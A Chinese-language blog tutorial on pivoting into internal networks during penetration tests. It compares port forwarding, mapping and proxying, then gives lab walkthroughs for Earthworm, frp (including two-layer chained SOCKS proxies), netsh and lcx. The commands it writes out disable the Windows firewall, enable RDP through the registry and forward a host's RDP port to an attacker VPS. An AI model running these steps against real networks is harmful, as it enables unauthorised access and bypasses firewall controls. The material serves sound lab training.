[内网渗透]—内网穿透

转发、映射、代理

这几个概念其实是比较难区分的,特别是和后面的内网穿透混在一起,在宏观上说,他们差别不大。但是究其本质还是存在不小的差别的:

  • 转发:转发是渗透中一种手段,是将一个网络端口从一个网络节点转发到另一个节点的行为。结果是使一个外网用户经过一个NAT路由器到达在内网IP地址某个端口。有时候也被称为隧道。
  • 映射:映射也是渗透中的一种手段,端口映射就是将外网主机的IP地址的一个端口映射到内网中一台机器,提供相应的服务。
  • 代理:代理是一种结果,以端口转发和映射为技术基础。代理在很多场合是用在连接互联网的web服务上面,起到突破jp封锁,隐匿身份等作用。其原理是动态的端口转发。只需要本机和代理间建立一个隧道,然后代理就可以根据本机发起的请求去动态的获取出链的地址与端口。
  • 内网穿透:内网穿透是目的,它使用的手段有包括端口转发和映射,或者直接使用代理这一结果。很多时候我们指的内网穿透场景是指攻击机与靶机处于处于不同的内网中,一些回弹shell之类的手段直接实现,因为IP地址无法相互建立连接。这个时候就需要使用-些内网穿透常见的工具。这些工具也是使用端口转发和映射或类似的方法来突破限制。

常用工具

工具名称 主要用途 平台 备注说明
lcx 端口映射 Windows 只支持tcp协议的端口转发,非系统内置。linux下叫做可以实现端口转发和端口映射
netsh 端口映射 Windows 只支持tcp协议的端口转发,需要安装ipv6
rinetd 反向代理 Linux 非内置,需要自行安装
Earthworm 端口映射、Socks5代理 Linux、Windows、MacOS、Arm-Linux 非系统内置,可以十分方便的支持多级转发
frp 高性能的反向代理应用 go 基于反向代理,可以十分灵活的进行内网穿透,绕过防火墙
reGeorg Socks5代理 常用脚本语言 reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言
Metasploitportfwd 端口映射 MSF -> Metpreter会话 需要网络状况较好
socat 端口映射 Linux 可能需要安装
Metasploit->socks4a 反向代理 MSF -> Metpreter会话 需要会话主机有外网代理IP
tunna HTTP隧道 常见脚本语言 需脚本环境执行,并且不太稳定
localtuuel 内网公网映射 nodejs 和ngork一样可以实现内网到公网端口的映射
ngork 内网公网映射 go 可以选择自建服务器或则和使用工具自带的服务器
dns2tcp DNS隧道 kali内置 防火墙过滤内部tcp出站策略的情况下,走DNS隧道,,通过DNS流量中继TCP连接
lodine DNS隧道 Linux 原理上和dns2tcp类似
icmpsh ICMP隧道 需要root权限 需要禁止系统对icmp的相应,用工具来处理收发icmp包

环境

VMware网络配置

虚拟网络名称 网段 DHCP
VMnet8 192.168.199.0/24
VMnet3 192.168.72.0/24
VMnet4 192.168.52.0/24

虚拟机网络配置

虚拟机 网段 虚拟机接口
kali (跳板机) 192.168.199.0/24 VMnet8
Win2012 192.168.199.0/24 192.168.52.0/24 VMnet8,VMnet4
Win2016 192.168.52.0/24 192.168.52.0/24 VMnet4,VMnet3
Win2003 192.168.52.0/24 VMnet3

内网穿透

Earthworm

(1条消息) 内网渗透工具Earthworm简单使用_@A1的博客-CSDN博客_earthworm工具

反向代理

反向代理就是我们服务端监听,目标客户端连接我们的服务端,这就叫做反向代理。

kali当做服务端,把外网监听的888端口,转发到本地的1008端口

./ew_for_linux64 -s rcsocks -l 1008 -e 888

win2012作为边缘主机,连通外网与内网,将888端口与kali服务器间打通隧道

ew_for_Win.exe -s rssocks -d 192.168.199.175 -e 888

之后用phpstduy开启本地服务

Proxifier

物理机设置代理服务器(使用kali服务器作为代理跳板)

[内网渗透]—内网穿透_第1张图片

此时物理机并没有开启本地服务,但访问localhost后便自动代理到了Win12的本地服务中

[内网渗透]—内网穿透_第2张图片

代理到Win12后,由于Win12和Win2003处于同一内网,因此便通过跳板访问到了内网网络

正向代理

服务端链接目标的客户端,称作反向代理。使用正向代理目标网络边界的机器需要关闭防火墙才能连接

首先目标客户端网络边界DMZ执行:

ew_for_Win.exe -s ssocksd -l 1080

将代理服务器设为网络边界主机ip,端口设为1080(有些工具默认为8888)即可

Frp

linux安装

wget https://github.com/fatedier/frp/releases/download/v0.42.0/frp_0.42.0_linux_amd64.tar.gz
tar -zxvf frp_0.42.0_linux_amd64.tar.gz
cp -r frp_0.42.0_linux_amd64 frp
cd frp

Frp反向内网穿透

本地服务转发

最开始接触frp就是针对于将本地服务,转发到公网,所以再复习一下

服务端

frps.ini

[common]
bind_port = 7000			//与客户端连接的端口
vhost_http_port = 80		//需要连接的客户端端口

./frps -c frps.ini开启服务

客户端

frpc.ini

[web1]
type=tcp
local_ip = 127.0.0.1
local_port = 80				//需要转发的本地端口
remote_port = 1008			//将本地服务映射到服务端的1008端口
subdomain = Sentiment		//如果需要配置http的话,则需设置域名

[common]
server_addr = 192.168.199.175	//服务端ip
server_port = 7000			//与服务端链接的端口

frpc.exe -c frpc.ini开启服务

此时访问服务端的1008端口,即可远程访问到客户端的本地80服务

[内网渗透]—内网穿透_第3张图片

代理转发

配置差不多,就是把客户端换成了sockts代理

frps.ini

[common]
bind_port = 7000	

frpc.ini

[common]
server_addr = 192.168.199.175
server_port = 7000

[plugin_socks]
type=tcp
remote_port = 1008
plugin = socks5

此时用Proxifier配置代理服务器192.168.199.175:1008后,在物理机上访问127.0.0.1,就访问到了Win2012的本地80端口

[内网渗透]—内网穿透_第4张图片

frp完整的服务器端配置文件

# [common] 是必需的
[common]
# ipv6的文本地址或主机名必须括在方括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
bind_addr = 0.0.0.0
bind_port = 7000

# udp nat 穿透端口
bind_udp_port = 7001

# 用于 kcp 协议 的 udp 端口,可以与 "bind_port" 相同
# 如果此项不配置, 服务端的 kcp 将不会启用 
kcp_bind_port = 7000

# 指定代理将侦听哪个地址,默认值与 bind_addr 相同
# proxy_bind_addr = 127.0.0.1

# 如果要支持虚拟主机,必须设置用于侦听的 http 端口(非必需项)
# 提示:http端口和https端口可以与 bind_port 相同
vhost_http_port = 80
vhost_https_port = 443

# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s
# vhost_http_timeout = 60

# 设置 dashboard_addr 和 dashboard_port 用于查看 frps 仪表盘
# dashboard_addr 默认值与 bind_addr 相同
# 只有 dashboard_port 被设定,仪表盘才能生效
dashboard_addr = 0.0.0.0
dashboard_port = 7500

# 设置仪表盘用户密码,用于基础认证保护,默认为 admin/admin
dashboard_user = admin
dashboard_pwd = admin

# 仪表板资产目录(仅用于 debug 模式下)
# assets_dir = ./static
# 控制台或真实日志文件路径,如./frps.log
log_file = ./frps.log

# 日志级别,分为trace(跟踪)、debug(调试)、info(信息)、warn(警告)、error(错误) 
log_level = info

# 最大日志记录天数
log_max_days = 3

# 认证 token
token = 12345678

# 心跳配置, 不建议对默认值进行修改
# heartbeat_timeout 默认值为 90
# heartbeat_timeout = 90

# 允许 frpc(客户端) 绑定的端口,不设置的情况下没有限制
allow_ports = 2000-3000,3001,3003,4000-50000

# 如果超过最大值,每个代理中的 pool_count 将更改为 max_pool_count
max_pool_count = 5

# 每个客户端可以使用最大端口数,默认值为0,表示没有限制
max_ports_per_client = 0

# 如果 subdomain_host 不为空, 可以在客户端配置文件中设置 子域名类型为 http 还是 https
# 当子域名为 test 时, 用于路由的主机为 test.frps.com
subdomain_host = frps.com

# 是否使用 tcp 流多路复用,默认值为 true
tcp_mux = true

# 对 http 请求设置自定义 404 页面
# custom_404_page = /path/to/404.html

frp完整的客户端配置文件

# [common] 是必需的
[common]
# ipv6的文本地址或主机名必须括在方括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
server_addr = 0.0.0.0
server_port = 7000

# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy
# 只支持 tcp协议
# http_proxy = http://user:[email protected]:8080
# http_proxy = socks5://user:[email protected]:1080

# 控制台或真实日志文件路径,如./frps.log
log_file = ./frpc.log

# 日志级别,分为trace(跟踪)、debug(调试)、info(信息)、warn(警告)、error(错误)
log_level = info

# 最大日志记录天数
log_max_days = 3

# 认证 token
token = 12345678

# 设置能够通过 http api 控制客户端操作的管理地址
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin

# 将提前建立连接,默认值为 0
pool_count = 5

# 是否使用 tcp 流多路复用,默认值为 true,必需与服务端相同
tcp_mux = true

# 在此处设置用户名后,代理名称将设置为  {用户名}.{代理名}
user = your_name

# 决定第一次登录失败时是否退出程序,否则继续重新登录到 frps
# 默认为 true
login_fail_exit = true

# 用于连接到服务器的通信协议
# 目前支持 tcp/kcp/websocket, 默认 tcp
protocol = tcp

# 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frps
tls_enable = true

# 指定 DNS 服务器
# dns_server = 8.8.8.8

# 代理名, 使用 ',' 分隔
# 默认为空, 表示全部代理
# start = ssh,dns

# 心跳配置, 不建议对默认值进行修改
# heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90
# heartbeat_interval = 30
# heartbeat_timeout = 90

# 'ssh' 是一个特殊代理名称
[ssh]
# 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 是否加密, 默认为 false
use_encryption = false
# 是否压缩
use_compression = false
# 服务端端口
remote_port = 6001
# frps 将为同一组中的代理进行负载平衡连接
group = test_group
# 组应该有相同的组密钥
group_key = 123456
# 为后端服务开启健康检查, 目前支持 'tcp' 和 'http' 
# frpc 将连接本地服务的端口以检测其健康状态
health_check_type = tcp
# 健康检查连接超时
health_check_timeout_s = 3
# 连续 3 次失败, 代理将会从服务端中被移除
health_check_max_failed = 3
# 健康检查时间间隔
health_check_interval_s = 10

[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 如果 remote_port 为 0 ,frps 将为您分配一个随机端口
remote_port = 0

# 如果要暴露多个端口, 在区块名称前添加 'range:' 前缀
# frpc 将会生成多个代理,如 'tcp_port_6010', 'tcp_port_6011'
[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 6010-6020,6022,6024-6028
remote_port = 6010-6020,6022,6024-6028
use_encryption = false
use_compression = false

[dns]
type = udp
local_ip = 114.114.114.114
local_port = 53
remote_port = 6002
use_encryption = false
use_compression = false

[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false

# 将域名解析到 [server_addr] 可以使用 http://web01.yourdomain.com 访问 web01
[web01]
type = http
local_ip = 127.0.0.1
local_port = 80
use_encryption = false
use_compression = true
# http 协议认证
http_user = admin
http_pwd = admin
# 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01] 
subdomain = web01
custom_domains = web02.yourdomain.com
# locations 仅可用于HTTP类型
locations = /,/pic
host_header_rewrite = example.com
# params with prefix "header_" will be used to update http request headers
header_X-From-Where = frp
health_check_type = http
# frpc 将会发送一个 GET http 请求 '/status' 来定位http服务
# http 服务返回 2xx 状态码时即为存活
health_check_url = /status
health_check_interval_s = 10
health_check_max_failed = 3
health_check_timeout_s = 3

[web02]
type = https
local_ip = 127.0.0.1
local_port = 8000
use_encryption = false
use_compression = false
subdomain = web01
custom_domains = web02.yourdomain.com
# v1 或 v2 或 空
proxy_protocol_version = v2

[plugin_unix_domain_socket]
type = tcp
remote_port = 6003
plugin = unix_domain_socket
plugin_unix_path = /var/run/docker.sock

[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc

[plugin_static_file]
type = tcp
remote_port = 6006
plugin = static_file
plugin_local_path = /var/www/blog
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_https2http]
type = https
custom_domains = test.yourdomain.com
plugin = https2http
plugin_local_addr = 127.0.0.1:80
plugin_crt_path = ./server.crt
plugin_key_path = ./server.key
plugin_host_header_rewrite = 127.0.0.1

[secret_tcp]
# 如果类型为 secret tcp, remote_port 将失效
type = stcp
# sk 用来进行访客认证
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

# 访客端及服务端的用户名应该相同
[secret_tcp_visitor]
# frpc role visitor -> frps -> frpc role server
role = visitor
type = stcp
# 要访问的服务器名称
server_name = secret_tcp
sk = abcdefg
# 将此地址连接到访客 stcp 服务器
bind_addr = 127.0.0.1
bind_port = 9000
use_encryption = false
use_compression = false

[p2p_tcp]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

[p2p_tcp_visitor]
role = visitor
type = xtcp
server_name = p2p_tcp
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 9001
use_encryption = false
use_compression = false

端口转发的方式

netsh端口转发

netsh (Networ Shell)是一个Windows系统本身提供的功能强大的网络配置命令行工具。

通过使用netsh进行端口转发的条件是必须是管理员(administrator)权限。

1、首先查看一下防火墙设置:

netsh firewall show config
[内网渗透]—内网穿透_第5张图片

可以看到当前的操作模式是启用的,所以需要关闭防火墙才能进行接下来的操作

2、关闭防火墙(管理员权限):

netsh advfirewall set allprofiles state off
[内网渗透]—内网穿透_第6张图片

3、开启3389远程服务

关闭则是把0改成1

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

4、若管理员设置了入站规则即:外网不能连接3389则需添加入站规则:

添加一个Sentiment规则,走TCP协议,开一个10086端口
netsh advfirewall firewall add rule name="Sentiment" dir=in action=allow protocol=TCP localport=10086

通过IPv4吧本地127.0.0.1的内网3389端口转发到外网的10086端口
netsh interface portproxy add v4tov4 listenport=10086 connectaddress=127.0.0.1 connectport=3389

查看防火墙状态
netsh firewall show state 

查看所有转发规则
netsh interface portproxy show all
-------------------------------------------------
删除规则
netsh advfirewall firewall delete rule name="Sentiment" dir=in action=allow protocol=TCP localport=10086
netsh interface portproxy delete v4tov4 listenport=10086

添加规则后,查看转发规则,添加成功

[内网渗透]—内网穿透_第7张图片

此时通过10086端口即可实现远程链接

若链接未成功则是因为:

connectport - 一个TCP端口,来自listenport的连接会被转发到该端口。假设当前我们的RDP服务端口在一个非标准端口上进行响应,如10086。为此,我们需要将传入流量从TCP端口10086重定向到另一个本地端口 - 3389(即标准rdp端口)。

还需设置:

netsh interface portproxy add v4tov4 listenport=10086 listenaddress=192.168.199.177 connectport=3389 connectaddress=192.168.199.177

listenaddress - 等待连接的本地IP地址。
listenport - 本地侦听TCP端口。
connectaddress - 将传入连接重定向到本地或远程IP地址(或DNS名称)。

5、删除规则

#删除指定的端口转发规则:
netsh interface portproxy delete v4tov4 listenport=10086 listenaddress=192.168.199.177
#删除所有当前端口转发规则:
netsh interface portproxy reset

lcx端口转发

lcx端口转发_全局变量Global的博客-CSDN博客_lcx端口转发

lcx是一款很经典的端口转发工具,同时它也是一个基于socket套接字实现的端口转发工具,有windows (Ilcx.exe)和linux(portmap)两个版本。

1、在目标机器上执行如下命令,将目标客户端网络边界DMZ(192.168.199.177)3389端口的所有数据转发到红队服务端VPS (10.242.66.95)的4444端口上:

lcx.exe -slave 10.242.66.95 4444 127.0.0.1 3389

2、将本机的4444端口上监听的所有数据转发到本机的5555端上:

lcx.exe -listen 4444 5555

3、mstsc连接本机的3389端口,即连接到了远程的192.168.199.177的3389

[内网渗透]—内网穿透_第8张图片

此时用Proxifier配置代理服务器192.168.199.175:1008后,在物理机上访问127.0.0.1,就访问到了Win2012的本地80端口

多层内网穿透

网络拓扑

[内网渗透]—内网穿透_第9张图片

frp第一层

frps.ini

#win10
[common]
bind_port = 7000	

frps.exe -c frps.ini开启服务

frpc.ini

#win2012
[common]
server_addr = 10.242.66.95
server_port = 7000

[http_proxy]
type=tcp
remote_port = 6000
plugin = socks5

frpc.exe -c frpc.ini开启服务

此时代理localhost:6000后即可访问win2012和win2016开启的服务

frp第二层

保持一级代理(因为根据实际情况若关闭一级代理,则在设置第二层代理时,就无法成功访问到Win2016的主机)

再开启一次服务,通过7788端口建立链接,将win2012的1080端口接受的数据转发到win10的1080端口上

frps.ini

#win10
[common]
bind_addr = 0.0.0.0
bind_port = 7788

frps.exe -c frps.ini开启服务

frpc.ini

#win2012
[common]
server_addr = 10.242.66.95
server_port = 7788

[http_proxy]
type = tcp
local_ip = 192.168.52.135
local_port = 1080
remote_port = 1080

frpc.exe -c frpc.ini开启服务

再将win2012和win2016通过7799端口建立连接,接着将Win2016的内容转发到Win2012的1080端口上

这样Win2016的服务转发给了Win2012的1080,而Win2012的1080又转发给了win10,至此经过一级级转发将Win2016转发给了Win10

frps.ini

#win2012
[common]
bind_addr = 192.168.52.135
bind_port = 7799

frpc.ini

#win2016
[common]
server_addr = 192.168.52.135
server_port = 7799

[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5

此时代理localhost:1080后即可访问win2016和win2003开启的服务

Reference

https://www.wangan.com/p/7fygfy3035609b76

你可能感兴趣的:(内网,网络,tcp/ip,网络协议)